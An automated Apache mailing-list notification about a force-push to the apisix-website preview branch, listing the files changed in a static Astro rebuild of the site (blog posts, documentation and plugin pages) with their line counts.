You are viewing a plain text version of this content. The canonical link for it is here.
Posted to notifications@apisix.apache.org by we...@apache.org on 2026/07/21 03:28:12 UTC
(apisix-website) branch preview/astro-staging updated (4cb34911fbc -> 8a3f51ecfc3)
This is an automated email from the ASF dual-hosted git repository.
moonming pushed a change to branch preview/astro-staging
in repository https://gitbox.apache.org/repos/asf/apisix-website.git
discard 4cb34911fbc preview: static Astro rebuild of apisix.apache.org (1294/1294 URL parity)
new 8a3f51ecfc3 preview: static Astro rebuild of apisix.apache.org (1294/1294 URL parity)
This update added new revisions after undoing existing revisions.
That is to say, some revisions that were in the old version of the
branch are not in the new version. This situation occurs
when a user --force pushes a change and generates a repository
containing something like this:
* -- * -- B -- O -- O -- O (4cb34911fbc)
\
N -- N -- N refs/heads/preview/astro-staging (8a3f51ecfc3)
You should already have received notification emails for all of the O
revisions, and so the following emails describe only the N revisions
from the common base, B.
Any revisions marked "omit" are not gone; other references still
refer to them. Any revisions marked "discard" are gone forever.
The 1 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails. The revisions
listed as "add" were already present in the repository and have only
been added to this reference.
Summary of changes:
zh/ai-gateway/index.html | 2 +-
zh/comparisons/index.html | 2 +-
2 files changed, 2 insertions(+), 2 deletions(-)
(apisix-website) 01/01: preview: static Astro rebuild of apisix.apache.org (1294/1294 URL parity)
Posted by we...@apache.org.
This is an automated email from the ASF dual-hosted git repository.
moonming pushed a commit to branch preview/astro-staging
in repository https://gitbox.apache.org/repos/asf/apisix-website.git
commit 8a3f51ecfc3c1f3bdab1e26ccaf149de0279d3d7
Author: Ming Wen <we...@apache.org>
AuthorDate: Tue Jul 21 11:27:06 2026 +0800
preview: static Astro rebuild of apisix.apache.org (1294/1294 URL parity)
Built from https://github.com/moonming/apisix-website-astro
---
.asf.yaml | 6 +
_astro/Base.HdXdTx_R.css | 1 +
ai-gateway/index.html | 1 +
.../index.html | 9 +
.../index.html | 9 +
.../Apache-APISIX-Incubator-Journey/index.html | 8 +
.../Apache-APISIX-Kubernetes-Ingress/index.html | 10 +
.../Apache-APISIX-in-China-Mobile-Cloud/index.html | 9 +
.../index.html | 9 +
.../index.html | 9 +
.../index.html | 9 +
.../Speed-Limiting-With-Apache-APISIX/index.html | 10 +
.../index.html | 10 +
articles/The-Appeal-of-OpenSource/index.html | 9 +
articles/The-Evolution-of-Apache-APISIX/index.html | 9 +
.../index.html | 9 +
articles/archive/index.html | 1 +
articles/index.html | 1 +
articles/page/2/index.html | 1 +
.../index.html | 52 +
.../index.html | 123 +
.../index.html | 163 ++
.../index.html | 18 +
.../21/run-ingress-apisix-on-amazon-eks/index.html | 87 +
.../index.html | 94 +
.../index.html | 42 +
.../index.html | 69 +
blog/2021/05/24/tencent-games/index.html | 165 ++
.../05/25/apache-apisix-2.6.0-release/index.html | 38 +
blog/2021/06/06/apisix-two-years/index.html | 17 +
.../index.html | 24 +
.../index.html | 138 +
.../index.html | 37 +
.../index.html | 27 +
.../index.html | 67 +
.../index.html | 155 ++
.../index.html | 106 +
.../06/28/why-we-need-apache-apisix/index.html | 55 +
.../06/29/release-apache-apisix-2.7/index.html | 38 +
.../etcd3-support-http-access-perfectly/index.html | 49 +
.../07/06/celebrate-200-contributors/index.html | 23 +
.../index.html | 108 +
.../2021/07/21/apache-apisix-kubernetes/index.html | 26 +
blog/2021/07/25/apachecon-asia/index.html | 76 +
.../index.html | 140 +
.../07/28/release-apache-apisix-2.8/index.html | 98 +
blog/2021/08/05/kong-to-apisix/index.html | 103 +
.../index.html | 122 +
.../08/09/apache-apisix-in-quliankeji/index.html | 116 +
blog/2021/08/10/apisix-nginx/index.html | 370 +++
blog/2021/08/11/interview-tuzhengsong/index.html | 86 +
.../index.html | 51 +
.../index.html | 46 +
.../index.html | 253 ++
blog/2021/08/17/interview-airwallex/index.html | 70 +
.../auth-with-casbin-in-apache-apisix/index.html | 140 +
.../08/19/go-makes-apache-apisix-better/index.html | 139 +
blog/2021/08/21/shanghai-meetup/index.html | 50 +
blog/2021/08/23/apachecon-asia-2021/index.html | 57 +
blog/2021/08/24/shanghai-meetup-recap/index.html | 27 +
.../index.html | 258 ++
.../index.html | 105 +
.../08/27/release-apache-apisix-2.9/index.html | 49 +
blog/2021/08/30/ingress-meeting/index.html | 31 +
blog/2021/08/30/weekly-report/index.html | 71 +
.../index.html | 130 +
.../index.html | 192 ++
blog/2021/09/07/how-to-use-apisix-auth/index.html | 75 +
blog/2021/09/07/iqiyi-usercase/index.html | 67 +
.../index.html | 60 +
.../09/13/china-mobile-cloud-usercase/index.html | 71 +
blog/2021/09/14/youzan/index.html | 84 +
blog/2021/09/15/weekly-report/index.html | 98 +
blog/2021/09/16/tencent-cloud/index.html | 55 +
blog/2021/09/18/xiaodian-usercase/index.html | 82 +
blog/2021/09/24/youpaicloud-usercase/index.html | 85 +
blog/2021/09/28/wps-usercase/index.html | 67 +
.../09/29/release-apache-apisix-2.10/index.html | 70 +
blog/2021/09/30/weekly-report/index.html | 87 +
blog/2021/10/01/openeuler/index.html | 14 +
blog/2021/10/09/apisix-ingress-techblog/index.html | 103 +
.../index.html | 27 +
blog/2021/10/14/weekly-report-1014/index.html | 53 +
blog/2021/10/18/meetup/index.html | 35 +
blog/2021/10/22/cert-manager-in-ingress/index.html | 189 ++
blog/2021/10/26/apisix-ingress/index.html | 84 +
blog/2021/10/29/extension-guide/index.html | 158 ++
blog/2021/11/02/weekly-report-1031/index.html | 94 +
blog/2021/11/03/airwallex-usercase/index.html | 65 +
blog/2021/11/04/skywalking/index.html | 57 +
blog/2021/11/12/apisix-datadog/index.html | 260 ++
blog/2021/11/16/weekly-report-1114/index.html | 63 +
blog/2021/11/17/dapr-with-apisix/index.html | 124 +
blog/2021/11/19/apisix-supports-wasm/index.html | 259 ++
.../index.html | 93 +
.../23/cve-2021-43557-research-report/index.html | 123 +
blog/2021/11/23/cve-2021-43557/index.html | 36 +
.../apache-apisix-committer-experience/index.html | 23 +
.../30/use-apisix-ingress-in-kubesphere/index.html | 328 +++
.../01/apisix-supports-azure-functions/index.html | 239 ++
.../12/01/release-apache-apisix-2.11/index.html | 114 +
blog/2021/12/02/weekly-report-1130/index.html | 102 +
.../apisix-integrate-skywalking-plugin/index.html | 125 +
.../index.html | 137 +
.../integrate-keycloak-auth-in-apisix/index.html | 127 +
.../index.html | 117 +
.../12/15/deploy-apisix-in-kubernetes/index.html | 84 +
.../12/16/apisix-with-rocketmq-meetup/index.html | 43 +
.../exposure-istio-with-apisix-ingress/index.html | 265 ++
blog/2021/12/20/weekly-report-1215/index.html | 101 +
blog/2021/12/22/google-logging/index.html | 248 ++
.../apisix-integrate-openwhisk-plugin/index.html | 127 +
blog/2021/12/24/open-policy-agent/index.html | 193 ++
.../2021/12/28/dashboard-cve-2021-45232/index.html | 18 +
.../12/30/apisix-proxy-grpc-service/index.html | 162 ++
blog/2022/01/04/authing/index.html | 264 ++
blog/2022/01/05/weekly-report-1231/index.html | 78 +
.../apisix-with-shardingsphere-meetup/index.html | 50 +
.../building-apisix-in-ubuntu-for-arm/index.html | 96 +
.../how-to-proxy-dubbo-in-apache-apisix/index.html | 179 ++
.../2022/01/17/apisix-kafka-integration/index.html | 152 ++
blog/2022/01/19/weekly-report-0116/index.html | 74 +
.../01/20/upyun-public-gateway-usecase/index.html | 74 +
.../apisix-hashicorp-vault-integration/index.html | 246 ++
.../index.html | 74 +
.../01/24/apisix-with-qingcloud-meetup/index.html | 27 +
.../01/25/apisix-grpc-web-integration/index.html | 249 ++
.../01/25/release-apache-apisix-2.12/index.html | 133 +
.../index.html | 62 +
.../02/10/splunk-apisix-integration/index.html | 182 ++
blog/2022/02/11/cve-2022-24112/index.html | 28 +
blog/2022/02/16/file-logger-api-gateway/index.html | 298 +++
blog/2022/02/17/weekly-report-0214/index.html | 81 +
blog/2022/02/21/nacos-api-gateway/index.html | 131 +
blog/2022/02/23/csrf-api-gateway/index.html | 76 +
blog/2022/02/25/consul-api-gateway/index.html | 179 ++
.../index.html | 235 ++
.../index.html | 163 ++
.../03/02/apisix-integration-graphql/index.html | 244 ++
.../zhongan-usercase-with-apache-apisix/index.html | 62 +
.../03/03/develop-apisix-with-gitpod/index.html | 60 +
blog/2022/03/03/weekly-report-0228/index.html | 55 +
.../index.html | 266 ++
.../index.html | 193 ++
.../index.html | 176 ++
blog/2022/03/24/weekly-report-0314/index.html | 89 +
.../03/28/release-apache-apisix-2.13/index.html | 140 +
blog/2022/04/12/apisix-summit-asia-2022/index.html | 114 +
blog/2022/04/17/api-observability/index.html | 168 ++
blog/2022/04/20/cve-2022-29266/index.html | 31 +
blog/2022/04/20/weekly-report-0420/index.html | 58 +
.../04/22/apisix-with-tidb-practice/index.html | 61 +
.../interview-juzhiyuan-apache-member/index.html | 76 +
blog/2022/05/10/weekly-report-0510/index.html | 41 +
blog/2022/05/19/weekly-report-0519/index.html | 74 +
.../05/31/release-apache-apisix-2.14/index.html | 134 +
.../index.html | 132 +
blog/2022/06/07/weekly-report-0607/index.html | 42 +
.../index.html | 101 +
.../2022/06/14/beeto-with-apache-apisix/index.html | 77 +
.../index.html | 232 ++
.../06/14/xueqiu-with-apache-apisix/index.html | 87 +
blog/2022/06/21/weekly-report-0621/index.html | 50 +
.../index.html | 170 ++
.../07/04/apisix-integrates-with-hydra/index.html | 181 ++
.../07/05/use-dataant-to-monitor-apisix/index.html | 64 +
.../index.html | 200 ++
blog/2022/07/07/weekly-report-0630/index.html | 43 +
blog/2022/07/21/weekly-report-0715/index.html | 43 +
.../index.html | 134 +
.../07/29/release-apache-apisix-2.15/index.html | 99 +
.../07/30/why-we-need-apache-apisix/index.html | 56 +
.../08/05/apisix-ingress-1.5rc1-release/index.html | 45 +
.../index.html | 140 +
blog/2022/08/09/weekly-report-0731/index.html | 52 +
.../index.html | 77 +
.../08/17/backend-for-frontend-demo/index.html | 217 ++
.../index.html | 158 ++
.../09/08/api-monetization-using-stack/index.html | 91 +
.../09/kubernetes-ingress-with-apisix/index.html | 143 +
.../index.html | 153 ++
blog/2022/09/23/build-event-driven-api/index.html | 86 +
blog/2022/09/28/rust-loves-apisix/index.html | 121 +
blog/2022/10/05/rust-apisix/index.html | 267 ++
.../19/deploy-apisix-on-scaleway-cloud/index.html | 209 ++
.../10/27/ten-use-cases-api-gateway/index.html | 111 +
.../2022/11/02/apache-apisix-v3-preview/index.html | 112 +
.../index.html | 61 +
blog/2022/11/09/georouting-apisix/index.html | 148 +
blog/2022/11/23/poor-man-api/index.html | 251 ++
.../index.html | 86 +
blog/2022/12/07/web-caching-client/index.html | 226 ++
blog/2022/12/14/web-caching-server/index.html | 83 +
.../12/30/release-apache-apisix-3.1.0/index.html | 122 +
.../index.html | 752 ++++++
blog/2023/01/18/consul-with-apisix/index.html | 218 ++
blog/2023/02/09/secure-apisix-admin/index.html | 93 +
.../02/23/right-feature-right-place/index.html | 129 +
.../03/02/security-policy-auditable/index.html | 277 ++
blog/2023/03/02/weekly-report-0226/index.html | 52 +
.../03/09/authenticate-openid-connect/index.html | 135 +
.../03/10/release-apache-apisix-3.2.0/index.html | 165 ++
blog/2023/03/16/grpc-client-side/index.html | 263 ++
blog/2023/03/17/weekly-report-0312/index.html | 67 +
blog/2023/03/23/mtls-everywhere/index.html | 453 ++++
blog/2023/03/30/weekly-report-0330/index.html | 44 +
blog/2023/04/07/apisix-unity-group-q&a/index.html | 69 +
.../04/14/10-api-management-trends-2023/index.html | 116 +
blog/2023/04/14/weekly-report-0414/index.html | 45 +
blog/2023/04/26/weekly-report-0426/index.html | 37 +
.../04/apache-apisix-chaos-engineering/index.html | 73 +
.../05/08/release-apache-apisix-3.3.0/index.html | 44 +
blog/2023/05/12/weekly-report-0512/index.html | 31 +
.../index.html | 110 +
blog/2023/05/24/weekly-report-0524/index.html | 26 +
.../06/01/release-apache-apisix-3.2.1/index.html | 29 +
blog/2023/06/02/lenovo-uses-apisix/index.html | 115 +
blog/2023/06/08/weekly-report/index.html | 33 +
blog/2023/06/12/how-is-apisix-fast/index.html | 124 +
blog/2023/06/21/weekly-report-en/index.html | 23 +
blog/2023/06/30/apisix-mqtt-proxy/index.html | 141 +
.../06/30/release-apache-apisix-3.4.0/index.html | 66 +
blog/2023/07/05/weekly-report/index.html | 55 +
blog/2023/07/07/tiny-apisix-plugin/index.html | 150 ++
.../07/09/apisix-integrates-with-vault/index.html | 155 ++
.../07/11/2023-apisix-meetup-malaysia/index.html | 76 +
blog/2023/07/18/weekly-report/index.html | 58 +
blog/2023/07/20/data-mask-plugin/index.html | 301 +++
.../07/21/release-apache-apisix-3.4.1/index.html | 8 +
.../07/23/release-apache-apisix-3.2.2/index.html | 20 +
blog/2023/07/27/apisix-without-etcd/index.html | 157 ++
blog/2023/08/02/weekly-report/index.html | 62 +
blog/2023/08/14/rate-limit/index.html | 198 ++
blog/2023/08/15/weekly-report/index.html | 58 +
blog/2023/08/17/ops-friendly-apisix/index.html | 90 +
blog/2023/08/30/weekly-report/index.html | 73 +
.../09/01/release-apache-apisix-3.5.0/index.html | 152 ++
.../09/08/APISIX-integrates-with-Coraza/index.html | 117 +
blog/2023/09/13/biweekly-report/index.html | 49 +
blog/2023/09/20/apisix-3.5-preview/index.html | 94 +
blog/2023/09/20/wecity-uses-apisix/index.html | 41 +
blog/2023/09/26/bi-weekly-report/index.html | 52 +
.../09/28/rabbit-hole-apisix-plugin/index.html | 104 +
.../10/05/release-apache-apisix-3.6.0/index.html | 70 +
.../2023/10/05/resize-images-on-the-fly/index.html | 129 +
blog/2023/10/07/apisix-gitops-adc/index.html | 213 ++
blog/2023/10/11/bi-weekly-report/index.html | 52 +
blog/2023/10/18/ingress-apisix/index.html | 152 ++
blog/2023/10/26/bi-weekly-report/index.html | 58 +
blog/2023/11/08/bi-weekly-report/index.html | 42 +
blog/2023/11/09/api-versioning/index.html | 139 +
.../11/21/release-apache-apisix-3.7.0/index.html | 41 +
blog/2023/11/23/bi-weekly-report/index.html | 31 +
.../11/30/chopping-monolith-smarter-way/index.html | 86 +
blog/2023/12/04/bi-weekly-report/index.html | 51 +
blog/2023/12/07/canary-releases-apisix/index.html | 109 +
.../index.html | 928 +++++++
.../2023/12/14/migu-video-adopts-apisix/index.html | 111 +
blog/2023/12/19/datavisor-uses-apisix/index.html | 66 +
blog/2023/12/20/bi-weekly-report/index.html | 63 +
blog/2023/12/26/access-kafka-by-apisix/index.html | 238 ++
blog/2023/12/26/zhengcaiyun-uses-apisix/index.html | 192 ++
blog/2024/01/03/bi-weekly-report/index.html | 51 +
.../01/15/release-apache-apisix-3.8.0/index.html | 94 +
blog/2024/01/18/bi-weekly-report/index.html | 57 +
blog/2024/01/31/bi-weekly-report/index.html | 35 +
.../index.html | 224 ++
.../13/apisix-owasp-coraza-core-ruleset/index.html | 155 ++
.../02/20/secure-api-practices-apisix-1/index.html | 319 +++
.../02/27/secure-api-practices-apisix-2/index.html | 67 +
blog/2024/03/05/monthly-report/index.html | 47 +
.../03/28/apisix-north-america-tour/index.html | 45 +
.../03/29/release-apache-apisix-3.9.0/index.html | 102 +
blog/2024/04/01/monthly-report/index.html | 32 +
.../04/04/fix-duplicate-api-requests/index.html | 74 +
blog/2024/04/05/build-apisix-in-sles15/index.html | 237 ++
.../11/implement-idempotency-key-apisix/index.html | 284 ++
.../04/29/release-apache-apisix-3.8.1/index.html | 9 +
.../04/29/release-apache-apisix-3.9.1/index.html | 9 +
blog/2024/04/30/monthly-report/index.html | 32 +
blog/2024/05/02/cve-2024-32638/index.html | 16 +
blog/2024/05/02/pass-parameters-apisix/index.html | 211 ++
blog/2024/05/31/monthly-report/index.html | 24 +
blog/2024/06/06/even-more-opentelemetry/index.html | 85 +
blog/2024/06/13/fixed-routes-apisix/index.html | 131 +
blog/2024/06/30/monthly-report/index.html | 29 +
.../07/11/watermarking-infrastructure/index.html | 44 +
.../07/18/advanced-url-rewrite-apisix/index.html | 49 +
.../07/25/different-rate-limits-apisix/index.html | 185 ++
blog/2024/07/31/monthly-report/index.html | 30 +
blog/2024/08/01/free-tier-api-apisix/index.html | 127 +
.../08/14/release-apache-apisix-3.10.0/index.html | 124 +
blog/2024/08/31/monthly-report/index.html | 31 +
blog/2024/09/30/monthly-report/index.html | 40 +
.../10/17/release-apache-apisix-3.11.0/index.html | 62 +
.../apisix-integrates-with-open-appsec/index.html | 276 ++
blog/2024/11/30/bi-monthly-report/index.html | 40 +
blog/2024/12/31/monthly-report/index.html | 28 +
blog/2025/01/26/monthly-report/index.html | 14 +
.../index.html | 39 +
.../index.html | 118 +
.../02/21/why-reinvent-api-gateways/index.html | 70 +
.../02/24/apisix-ai-gateway-features/index.html | 81 +
blog/2025/02/28/monthly-report/index.html | 21 +
blog/2025/03/06/what-is-an-ai-gateway/index.html | 86 +
.../index.html | 129 +
.../24/6-essential-ai-gateway-use-cases/index.html | 114 +
.../03/31/2025-march-monthly-report/index.html | 113 +
.../index.html | 185 ++
.../04/01/release-apache-apisix-3.12.0/index.html | 73 +
.../04/08/introducing-apisix-ai-gateway/index.html | 221 ++
.../21/host-mcp-server-with-api-gateway/index.html | 71 +
.../index.html | 412 +++
.../04/30/2025-april-monthly-report/index.html | 37 +
.../index.html | 282 ++
.../index.html | 89 +
blog/2025/05/30/2025-may-monthly-report/index.html | 51 +
.../index.html | 162 ++
.../index.html | 190 ++
.../index.html | 105 +
.../06/27/release-apache-apisix-3.13.0/index.html | 66 +
.../2025/06/30/2025-june-monthly-report/index.html | 81 +
.../index.html | 129 +
.../2025/07/31/2025-july-monthly-report/index.html | 61 +
.../index.html | 161 ++
.../08/31/2025-august-monthly-report/index.html | 63 +
.../index.html | 60 +
blog/2025/09/30/2025-sep-monthly-report/index.html | 44 +
.../10/10/release-apache-apisix-3.14.0/index.html | 123 +
.../10/17/release-apache-apisix-3.14.1/index.html | 12 +
blog/2025/10/31/2025-oct-monthly-report/index.html | 45 +
blog/2025/10/31/cve-2025-62232/index.html | 16 +
blog/2025/11/30/2025-nov-monthly-report/index.html | 28 +
.../index.html | 52 +
blog/2025/12/31/2025-dec-monthly-report/index.html | 37 +
blog/2026/01/31/2026-jan-monthly-report/index.html | 51 +
.../02/05/release-apache-apisix-3.15.0/index.html | 81 +
blog/2026/02/28/2026-feb-monthly-report/index.html | 69 +
blog/2026/03/31/2026-mar-monthly-report/index.html | 30 +
.../04/07/release-apache-apisix-3.16.0/index.html | 78 +
.../apisix-3.16-dynamic-rate-limiting/index.html | 286 ++
blog/2026/04/30/2026-apr-monthly-report/index.html | 73 +
blog/2026/05/31/2026-may-monthly-report/index.html | 94 +
.../06/15/release-apache-apisix-3.17.0/index.html | 98 +
blog/2026/06/30/2026-jun-monthly-report/index.html | 115 +
.../manage-apache-apisix-with-ai-agents/index.html | 46 +
blog/archive/index.html | 1 +
.../index.html | 34 +
blog/index.html | 1 +
blog/page/10/index.html | 2 +
blog/page/11/index.html | 4 +
blog/page/12/index.html | 3 +
blog/page/13/index.html | 3 +
blog/page/14/index.html | 1 +
blog/page/15/index.html | 1 +
blog/page/16/index.html | 3 +
blog/page/17/index.html | 6 +
blog/page/18/index.html | 1 +
blog/page/19/index.html | 1 +
blog/page/2/index.html | 1 +
blog/page/20/index.html | 1 +
blog/page/21/index.html | 1 +
blog/page/22/index.html | 1 +
blog/page/23/index.html | 1 +
blog/page/24/index.html | 1 +
blog/page/25/index.html | 1 +
blog/page/26/index.html | 1 +
blog/page/27/index.html | 1 +
blog/page/28/index.html | 1 +
blog/page/29/index.html | 1 +
blog/page/3/index.html | 1 +
blog/page/30/index.html | 1 +
blog/page/31/index.html | 1 +
blog/page/32/index.html | 1 +
blog/page/33/index.html | 1 +
blog/page/34/index.html | 1 +
blog/page/35/index.html | 1 +
blog/page/36/index.html | 1 +
blog/page/37/index.html | 1 +
blog/page/4/index.html | 1 +
blog/page/5/index.html | 1 +
blog/page/6/index.html | 1 +
blog/page/7/index.html | 7 +
blog/page/8/index.html | 4 +
blog/page/9/index.html | 5 +
comparisons/index.html | 1 +
contribute/index.html | 1 +
docs/apisix/FAQ/index.html | 518 ++++
docs/apisix/admin-api/index.html | 2697 +++++++++++++++++++
docs/apisix/apisix-variable/index.html | 131 +
docs/apisix/architecture-design/apisix/index.html | 33 +
docs/apisix/aws/index.html | 208 ++
docs/apisix/batch-processor/index.html | 174 ++
docs/apisix/benchmark/index.html | 88 +
.../index.html | 73 +
.../build-apisix-dev-environment-on-mac/index.html | 41 +
docs/apisix/building-apisix/index.html | 129 +
docs/apisix/certificate/index.html | 311 +++
docs/apisix/control-api/index.html | 447 ++++
.../customize-nginx-configuration/index.html | 52 +
docs/apisix/dashboard/index.html | 103 +
docs/apisix/debug-function/index.html | 121 +
docs/apisix/debug-mode/index.html | 114 +
docs/apisix/deployment-modes/index.html | 761 ++++++
docs/apisix/discovery/consul/index.html | 278 ++
docs/apisix/discovery/consul_kv/index.html | 245 ++
.../control-plane-service-discovery/index.html | 55 +
docs/apisix/discovery/dns/index.html | 110 +
docs/apisix/discovery/eureka/index.html | 20 +
docs/apisix/discovery/index.html | 235 ++
docs/apisix/discovery/kubernetes/index.html | 334 +++
docs/apisix/discovery/nacos/index.html | 240 ++
.../index.html | 162 ++
docs/apisix/external-plugin/index.html | 79 +
docs/apisix/getting-started/README/index.html | 127 +
.../getting-started/configure-routes/index.html | 41 +
.../getting-started/key-authentication/index.html | 111 +
.../getting-started/load-balancing/index.html | 60 +
.../getting-started/rate-limiting/index.html | 56 +
docs/apisix/grpc-proxy/index.html | 84 +
docs/apisix/http3/index.html | 127 +
docs/apisix/install-dependencies/index.html | 43 +
docs/apisix/installation-guide/index.html | 142 +
docs/apisix/internal/plugin-runner/index.html | 53 +
docs/apisix/internal/testing-framework/index.html | 262 ++
docs/apisix/mtls/index.html | 156 ++
docs/apisix/plugin-develop/index.html | 333 +++
docs/apisix/plugins/acl/index.html | 234 ++
.../ai-aliyun-content-moderation/index.html | 653 +++++
.../plugins/ai-aws-content-moderation/index.html | 548 ++++
docs/apisix/plugins/ai-cache/index.html | 671 +++++
docs/apisix/plugins/ai-lakera-guard/index.html | 375 +++
docs/apisix/plugins/ai-prompt-decorator/index.html | 261 ++
docs/apisix/plugins/ai-prompt-guard/index.html | 498 ++++
docs/apisix/plugins/ai-prompt-template/index.html | 522 ++++
docs/apisix/plugins/ai-proxy-multi/index.html | 2801 +++++++++++++++++++
docs/apisix/plugins/ai-proxy/index.html | 1872 +++++++++++++
docs/apisix/plugins/ai-rag/index.html | 436 +++
docs/apisix/plugins/ai-rate-limiting/index.html | 2052 ++++++++++++++
docs/apisix/plugins/ai-request-rewrite/index.html | 829 ++++++
docs/apisix/plugins/api-breaker/index.html | 154 ++
.../plugins/attach-consumer-label/index.html | 118 +
docs/apisix/plugins/authz-casbin/index.html | 231 ++
docs/apisix/plugins/authz-casdoor/index.html | 101 +
docs/apisix/plugins/authz-keycloak/index.html | 844 ++++++
docs/apisix/plugins/aws-lambda/index.html | 495 ++++
docs/apisix/plugins/azure-functions/index.html | 224 ++
docs/apisix/plugins/basic-auth/index.html | 1088 ++++++++
docs/apisix/plugins/batch-requests/index.html | 293 ++
docs/apisix/plugins/body-transformer/index.html | 754 ++++++
docs/apisix/plugins/brotli/index.html | 155 ++
docs/apisix/plugins/cas-auth/index.html | 139 +
docs/apisix/plugins/chaitin-waf/index.html | 408 +++
docs/apisix/plugins/clickhouse-logger/index.html | 367 +++
docs/apisix/plugins/client-control/index.html | 86 +
.../apisix/plugins/consumer-restriction/index.html | 724 +++++
docs/apisix/plugins/cors/index.html | 654 +++++
docs/apisix/plugins/csrf/index.html | 112 +
docs/apisix/plugins/data-mask/index.html | 295 ++
docs/apisix/plugins/datadog/index.html | 299 +++
docs/apisix/plugins/degraphql/index.html | 152 ++
docs/apisix/plugins/dingtalk-auth/index.html | 241 ++
docs/apisix/plugins/dubbo-proxy/index.html | 168 ++
docs/apisix/plugins/echo/index.html | 109 +
.../apisix/plugins/elasticsearch-logger/index.html | 546 ++++
docs/apisix/plugins/error-log-logger/index.html | 468 ++++
docs/apisix/plugins/error-page/index.html | 197 ++
docs/apisix/plugins/exit-transformer/index.html | 100 +
docs/apisix/plugins/ext-plugin-post-req/index.html | 21 +
.../apisix/plugins/ext-plugin-post-resp/index.html | 91 +
docs/apisix/plugins/ext-plugin-pre-req/index.html | 89 +
docs/apisix/plugins/fault-injection/index.html | 230 ++
docs/apisix/plugins/feishu-auth/index.html | 180 ++
docs/apisix/plugins/file-logger/index.html | 246 ++
docs/apisix/plugins/forward-auth/index.html | 944 +++++++
docs/apisix/plugins/gm/index.html | 19 +
.../apisix/plugins/google-cloud-logging/index.html | 426 +++
docs/apisix/plugins/graphql-limit-count/index.html | 290 ++
docs/apisix/plugins/graphql-proxy-cache/index.html | 189 ++
docs/apisix/plugins/grpc-transcode/index.html | 380 +++
docs/apisix/plugins/grpc-web/index.html | 181 ++
docs/apisix/plugins/gzip/index.html | 139 +
docs/apisix/plugins/hmac-auth/index.html | 1390 ++++++++++
docs/apisix/plugins/http-dubbo/index.html | 161 ++
docs/apisix/plugins/http-logger/index.html | 332 +++
docs/apisix/plugins/inspect/index.html | 171 ++
docs/apisix/plugins/ip-restriction/index.html | 348 +++
docs/apisix/plugins/jwe-decrypt/index.html | 268 ++
docs/apisix/plugins/jwt-auth/index.html | 1561 +++++++++++
docs/apisix/plugins/kafka-logger/index.html | 652 +++++
docs/apisix/plugins/kafka-proxy/index.html | 90 +
docs/apisix/plugins/key-auth/index.html | 1253 +++++++++
docs/apisix/plugins/lago/index.html | 259 ++
docs/apisix/plugins/ldap-auth/index.html | 162 ++
docs/apisix/plugins/limit-conn/index.html | 1403 ++++++++++
docs/apisix/plugins/limit-count/index.html | 1825 +++++++++++++
docs/apisix/plugins/limit-req/index.html | 877 ++++++
docs/apisix/plugins/log-rotate/index.html | 117 +
docs/apisix/plugins/loggly/index.html | 259 ++
docs/apisix/plugins/loki-logger/index.html | 459 ++++
docs/apisix/plugins/mcp-bridge/index.html | 72 +
docs/apisix/plugins/mocking/index.html | 232 ++
docs/apisix/plugins/mqtt-proxy/index.html | 315 +++
docs/apisix/plugins/multi-auth/index.html | 306 +++
docs/apisix/plugins/node-status/index.html | 113 +
docs/apisix/plugins/oas-validator/index.html | 219 ++
docs/apisix/plugins/ocsp-stapling/index.html | 116 +
docs/apisix/plugins/opa/index.html | 1009 +++++++
docs/apisix/plugins/openfunction/index.html | 165 ++
docs/apisix/plugins/openid-connect/index.html | 962 +++++++
docs/apisix/plugins/opentelemetry/index.html | 326 +++
docs/apisix/plugins/openwhisk/index.html | 162 ++
docs/apisix/plugins/prometheus/index.html | 810 ++++++
docs/apisix/plugins/proxy-buffering/index.html | 84 +
docs/apisix/plugins/proxy-cache/index.html | 838 ++++++
docs/apisix/plugins/proxy-control/index.html | 78 +
docs/apisix/plugins/proxy-mirror/index.html | 226 ++
docs/apisix/plugins/proxy-rewrite/index.html | 493 ++++
docs/apisix/plugins/public-api/index.html | 462 ++++
docs/apisix/plugins/real-ip/index.html | 515 ++++
docs/apisix/plugins/redirect/index.html | 170 ++
docs/apisix/plugins/referer-restriction/index.html | 117 +
docs/apisix/plugins/request-id/index.html | 1143 ++++++++
docs/apisix/plugins/request-validation/index.html | 1023 +++++++
docs/apisix/plugins/response-rewrite/index.html | 343 +++
docs/apisix/plugins/rocketmq-logger/index.html | 475 ++++
docs/apisix/plugins/saml-auth/index.html | 221 ++
docs/apisix/plugins/server-info/index.html | 110 +
docs/apisix/plugins/serverless/index.html | 648 +++++
docs/apisix/plugins/skywalking-logger/index.html | 367 +++
docs/apisix/plugins/skywalking/index.html | 127 +
docs/apisix/plugins/sls-logger/index.html | 224 ++
docs/apisix/plugins/splunk-hec-logging/index.html | 309 +++
docs/apisix/plugins/syslog/index.html | 407 +++
docs/apisix/plugins/tcp-logger/index.html | 267 ++
docs/apisix/plugins/tencent-cloud-cls/index.html | 290 ++
docs/apisix/plugins/traffic-label/index.html | 157 ++
docs/apisix/plugins/traffic-split/index.html | 1669 ++++++++++++
docs/apisix/plugins/ua-restriction/index.html | 360 +++
docs/apisix/plugins/udp-logger/index.html | 258 ++
docs/apisix/plugins/uri-blocker/index.html | 117 +
docs/apisix/plugins/wolf-rbac/index.html | 208 ++
docs/apisix/plugins/workflow/index.html | 830 ++++++
docs/apisix/plugins/zipkin/index.html | 216 ++
docs/apisix/profile/index.html | 91 +
docs/apisix/pubsub/index.html | 98 +
docs/apisix/pubsub/kafka/index.html | 100 +
docs/apisix/router-radixtree/index.html | 348 +++
docs/apisix/security-threat-model/index.html | 1171 ++++++++
docs/apisix/ssl-protocol/index.html | 281 ++
docs/apisix/status-api/index.html | 50 +
docs/apisix/stream-proxy/index.html | 195 ++
docs/apisix/support-fips-in-apisix/index.html | 41 +
docs/apisix/terminology/api-gateway/index.html | 31 +
docs/apisix/terminology/consumer-group/index.html | 79 +
docs/apisix/terminology/consumer/index.html | 138 +
docs/apisix/terminology/credential/index.html | 126 +
docs/apisix/terminology/global-rule/index.html | 41 +
docs/apisix/terminology/plugin-config/index.html | 123 +
docs/apisix/terminology/plugin-metadata/index.html | 45 +
docs/apisix/terminology/plugin/index.html | 267 ++
docs/apisix/terminology/route/index.html | 56 +
docs/apisix/terminology/router/index.html | 48 +
docs/apisix/terminology/script/index.html | 27 +
docs/apisix/terminology/secret/index.html | 316 +++
docs/apisix/terminology/service/index.html | 86 +
docs/apisix/terminology/upstream/index.html | 173 ++
.../tutorials/add-multiple-api-versions/index.html | 142 +
.../tutorials/cache-api-responses/index.html | 147 +
.../tutorials/client-to-apisix-mtls/index.html | 267 ++
docs/apisix/tutorials/expose-api/index.html | 79 +
docs/apisix/tutorials/health-check/index.html | 369 +++
